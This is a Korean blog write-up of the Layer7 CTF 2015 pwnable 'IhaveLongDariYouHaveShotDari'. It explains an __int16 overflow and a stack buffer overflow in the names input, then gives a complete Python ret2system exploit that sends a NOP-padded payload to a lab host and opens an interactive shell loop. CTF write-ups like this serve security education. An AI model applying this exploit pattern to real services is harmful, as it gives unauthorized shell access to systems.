ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • Layer7 ctf 2015 IhaveLongDariYouHaveShotDari
    CTF&Wargame/ETC 2017.01.07 10:25

    프로그램을 실행하면 알람 함수가 있는데 타이머 같은거다 15초 제한


    프로그램 실행 시 패스워드를 요구한다.

    다 적혀있으니 좋고


    다음으로 숫자를 입력받는데 v5변수를 사용하고

    v8이 0x12C보다 높으면 아래의 메시지를 보여준다.


    v5 변수를 살펴보면 __int16인걸 알 수 있다. 즉 범위가 0~65535까지 인 것이다.


    그리고 마지막으로 names:를 입력받는데 v7의 크기는 


    0x138로 312바이트 이다.


    이제 실행해서 살펴보면


    1단계 패스워드와 2단계 숫자는 무난하게 넘어갈 수 있다.

    __int16의 범위가 65535이니 +1를 해준 값을 넣는다.


    마지막으로 3단계에서 바이트를 320개를 넣어주면 세그먼테이션 폴트가 뜨는걸 볼 수 있다.


    그렇다면 마지막에 320바이트를 넣어주고 시스템 함수를 호출해보자

    /bin/sh와

    시스템 함수의 주소가 다 파일안에 들어있기 때문에 고대로 넣어주면된다.

    from socket import *
    from struct import *
    from time import sleep
    
    p = lambda x: pack("<L", x)
    up = lambda x: unpack("<L", x)[0]
    
    passwd = "0z57cr40a2abc34103295de63bb2b36e"
    v5 = "65536"
    system = 0x08048570
    sh = 0x0804A050
    
    payload = "\x90"*320
    
    payload += p(system)
    payload += p(0x41414141)
    payload += p(sh)
    
    socket = socket(AF_INET, SOCK_STREAM)
    socket.connect(("192.168.153.139", 1234))
    print socket.recv(1024)
    socket.send(passwd+"\n")
    print socket.recv(1024)
    socket.send(v5+"\n")
    print socket.recv(1024)
    socket.send(payload+"\n")
    print socket.recv(1024)
    sleep(1)
    print socket.recv(1024)
    sleep(1)
    print socket.recv(1024)
    sleep(1)
    print socket.recv(1024)
    
    while 1:
        command = raw_input("tory> ")
        send = socket.send(command+"\n")
        print socket.recv(1024)
    
    

    실행한 모습



    'CTF&Wargame > ETC' 카테고리의 다른 글

    holyshield pwnit  (0) 2017.01.10
    codegate 2013 vuln200  (0) 2017.01.08
    Layer7 ctf 2015 IhaveLongDariYouHaveShotDari  (6) 2017.01.07
    Pico ctf 2014 rop1  (0) 2017.01.05
    ropasaurusrex  (0) 2017.01.04
    NEWSECU CTF Write-up  (0) 2017.01.01

    댓글 6

Designed by Tistory.